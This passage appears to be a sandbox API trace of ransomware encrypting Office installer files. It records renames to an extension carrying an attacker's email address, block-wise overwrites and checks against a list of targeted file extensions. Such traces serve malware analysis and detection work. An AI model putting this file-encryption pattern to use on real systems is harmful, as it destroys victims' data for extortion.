	[0089.658] WriteFile (in: hFile=0x194, lpBuffer=0x3eb0280*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb0280*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0089.660] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3eb0280 | out: hHeap=0x4a0000) returned 1
	[0089.660] CloseHandle (hObject=0x194) returned 1
	[0091.882] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0091.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0091.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0091.882] lstrlenW (lpString=".doc") returned 4
	[0091.882] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0091.882] lstrlenW (lpString=".docx") returned 5
	[0091.882] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0091.883] lstrlenW (lpString=".pdf") returned 4
	[0091.883] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0091.883] lstrlenW (lpString=".xls") returned 4
	[0091.883] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0091.883] lstrlenW (lpString=".xlsx") returned 5
	[0091.883] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0091.883] lstrlenW (lpString=".ppt") returned 4
	[0091.883] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0091.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0091.883] lstrlenW (lpString=".zip") returned 4
	[0091.883] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0091.883] lstrlenW (lpString=".rar") returned 4
	[0091.883] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0091.883] lstrlenW (lpString=".bz2") returned 4
	[0091.883] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0091.883] lstrlenW (lpString=".7z") returned 3
	[0091.883] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0091.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0091.884] lstrlenW (lpString=".dbf") returned 4
	[0091.884] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0091.884] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0091.884] lstrlenW (lpString=".1cd") returned 4
	[0091.884] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0091.884] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0091.884] lstrlenW (lpString=".jpg") returned 4
	[0091.884] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0091.884] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0091.884] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0091.884] lstrlenW (lpString=".doc") returned 4
	[0091.884] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0091.884] lstrlenW (lpString=".docx") returned 5
	[0091.884] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0091.885] lstrlenW (lpString=".pdf") returned 4
	[0091.885] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0091.885] lstrlenW (lpString=".xls") returned 4
	[0091.885] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0091.885] lstrlenW (lpString=".xlsx") returned 5
	[0091.885] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0091.885] lstrlenW (lpString=".ppt") returned 4
	[0091.885] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0091.885] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0091.885] lstrlenW (lpString=".zip") returned 4
	[0091.885] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0091.885] lstrlenW (lpString=".rar") returned 4
	[0091.885] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0091.885] lstrlenW (lpString=".bz2") returned 4
	[0091.885] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0091.885] lstrlenW (lpString=".7z") returned 3
	[0091.885] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0091.885] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0091.885] lstrlenW (lpString=".dbf") returned 4
	[0091.885] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0091.885] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0091.886] lstrlenW (lpString=".1cd") returned 4
	[0091.886] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0091.886] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72
	[0091.886] lstrlenW (lpString=".jpg") returned 4
	[0091.886] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0091.886] lstrcmpiW (lpString1=".msi", lpString2=".4k") returned 1
	[0091.886] lstrlenW (lpString="OutlookMUI.msi") returned 14
	[0091.887] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0091.887] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x390ff1c | out: lpFileSize=0x390ff1c*=2865664) returned 1
	[0091.887] CloseHandle (hObject=0x194) returned 1
	[0091.887] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020
	[0091.887] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0091.887] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0091.888] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0091.888] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc6c | out: lpNewFilePointer=0x0) returned 1
	[0091.888] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0091.888] ReadFile (in: hFile=0x194, lpBuffer=0x3d80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d80058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0091.902] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0091.902] ReadFile (in: hFile=0x194, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0091.931] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x390fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.931] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0091.931] ReadFile (in: hFile=0x194, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e00058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0092.293] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fec8 | out: lpNewFilePointer=0x0) returned 1
	[0092.293] WriteFile (in: hFile=0x194, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x390fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x390fcb0*=0xc0108, lpOverlapped=0x0) returned 1
	[0092.314] SetEndOfFile (hFile=0x194) returned 1
	[0092.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f842e0
	[0092.319] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0092.319] WriteFile (in: hFile=0x194, lpBuffer=0x3f842e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f842e0*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0092.320] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0092.320] WriteFile (in: hFile=0x194, lpBuffer=0x3f842e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f842e0*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0092.455] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0092.455] WriteFile (in: hFile=0x194, lpBuffer=0x3f842e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f842e0*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0092.457] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f842e0 | out: hHeap=0x4a0000) returned 1
	[0092.457] CloseHandle (hObject=0x194) returned 1
	[0093.211] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0093.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0093.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0093.211] lstrlenW (lpString=".doc") returned 4
	[0093.211] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0093.212] lstrlenW (lpString=".docx") returned 5
	[0093.212] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0093.212] lstrlenW (lpString=".pdf") returned 4
	[0093.212] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0093.212] lstrlenW (lpString=".xls") returned 4
	[0093.212] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0093.212] lstrlenW (lpString=".xlsx") returned 5
	[0093.212] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0093.212] lstrlenW (lpString=".ppt") returned 4
	[0093.212] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0093.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0093.212] lstrlenW (lpString=".zip") returned 4
	[0093.212] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0093.212] lstrlenW (lpString=".rar") returned 4
	[0093.212] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0093.212] lstrlenW (lpString=".bz2") returned 4
	[0093.212] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0093.212] lstrlenW (lpString=".7z") returned 3
	[0093.212] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0093.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0093.212] lstrlenW (lpString=".dbf") returned 4
	[0093.212] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0093.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0093.212] lstrlenW (lpString=".1cd") returned 4
	[0093.212] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0093.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0093.212] lstrlenW (lpString=".jpg") returned 4
	[0093.212] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0093.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0093.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0093.212] lstrlenW (lpString=".doc") returned 4
	[0093.212] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0093.212] lstrlenW (lpString=".docx") returned 5
	[0093.212] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0093.212] lstrlenW (lpString=".pdf") returned 4
	[0093.212] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0093.212] lstrlenW (lpString=".xls") returned 4
	[0093.213] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0093.213] lstrlenW (lpString=".xlsx") returned 5
	[0093.213] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0093.213] lstrlenW (lpString=".ppt") returned 4
	[0093.213] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0093.213] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0093.213] lstrlenW (lpString=".zip") returned 4
	[0093.213] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0093.213] lstrlenW (lpString=".rar") returned 4
	[0093.213] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0093.213] lstrlenW (lpString=".bz2") returned 4
	[0093.213] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0093.213] lstrlenW (lpString=".7z") returned 3
	[0093.213] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0093.213] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0093.213] lstrlenW (lpString=".dbf") returned 4
	[0093.213] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0093.213] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0093.213] lstrlenW (lpString=".1cd") returned 4
	[0093.213] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0093.213] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77
	[0093.213] lstrlenW (lpString=".jpg") returned 4
	[0093.213] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0093.213] lstrcmpiW (lpString1=".msi", lpString2=".4k") returned 1
	[0093.213] lstrlenW (lpString="WordMUI.msi") returned 11
	[0093.213] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0093.214] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x390ff1c | out: lpFileSize=0x390ff1c*=2522624) returned 1
	[0093.214] CloseHandle (hObject=0x194) returned 1
	[0093.214] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020
	[0093.214] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0093.214] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0093.214] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0093.214] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc6c | out: lpNewFilePointer=0x0) returned 1
	[0093.214] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0093.214] ReadFile (in: hFile=0x194, lpBuffer=0x3d80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d80058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0093.352] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0093.352] ReadFile (in: hFile=0x194, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0093.478] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x390fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.479] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0093.479] ReadFile (in: hFile=0x194, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e00058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0093.805] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.805] WriteFile (in: hFile=0x194, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x390fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x390fcb0*=0xc0102, lpOverlapped=0x0) returned 1
	[0093.822] SetEndOfFile (hFile=0x194) returned 1
	[0093.823] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f302b0
	[0093.827] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0093.827] WriteFile (in: hFile=0x194, lpBuffer=0x3f302b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f302b0*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0093.829] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0093.829] WriteFile (in: hFile=0x194, lpBuffer=0x3f302b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f302b0*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0094.034] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0094.034] WriteFile (in: hFile=0x194, lpBuffer=0x3f302b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f302b0*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0094.097] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f302b0 | out: hHeap=0x4a0000) returned 1
	[0094.097] CloseHandle (hObject=0x194) returned 1
	[0094.587] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0094.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0094.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0094.588] lstrlenW (lpString=".doc") returned 4
	[0094.588] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0094.588] lstrlenW (lpString=".docx") returned 5
	[0094.588] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0094.588] lstrlenW (lpString=".pdf") returned 4
	[0094.588] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0094.588] lstrlenW (lpString=".xls") returned 4
	[0094.588] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0094.588] lstrlenW (lpString=".xlsx") returned 5
	[0094.588] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0094.588] lstrlenW (lpString=".ppt") returned 4
	[0094.588] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0094.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0094.588] lstrlenW (lpString=".zip") returned 4
	[0094.588] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0094.588] lstrlenW (lpString=".rar") returned 4
	[0094.588] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0094.588] lstrlenW (lpString=".bz2") returned 4
	[0094.588] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0094.588] lstrlenW (lpString=".7z") returned 3
	[0094.588] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0094.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0094.588] lstrlenW (lpString=".dbf") returned 4
	[0094.588] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0094.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0094.589] lstrlenW (lpString=".1cd") returned 4
	[0094.589] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0094.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0094.589] lstrlenW (lpString=".jpg") returned 4
	[0094.589] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0094.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0094.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0094.589] lstrlenW (lpString=".doc") returned 4
	[0094.589] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0094.589] lstrlenW (lpString=".docx") returned 5
	[0094.589] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0094.589] lstrlenW (lpString=".pdf") returned 4
	[0094.589] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0094.589] lstrlenW (lpString=".xls") returned 4
	[0094.589] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0094.589] lstrlenW (lpString=".xlsx") returned 5
	[0094.589] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0094.589] lstrlenW (lpString=".ppt") returned 4
	[0094.589] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0094.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0094.589] lstrlenW (lpString=".zip") returned 4
	[0094.589] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0094.589] lstrlenW (lpString=".rar") returned 4
	[0094.589] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0094.589] lstrlenW (lpString=".bz2") returned 4
	[0094.589] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0094.589] lstrlenW (lpString=".7z") returned 3
	[0094.589] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0094.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0094.590] lstrlenW (lpString=".dbf") returned 4
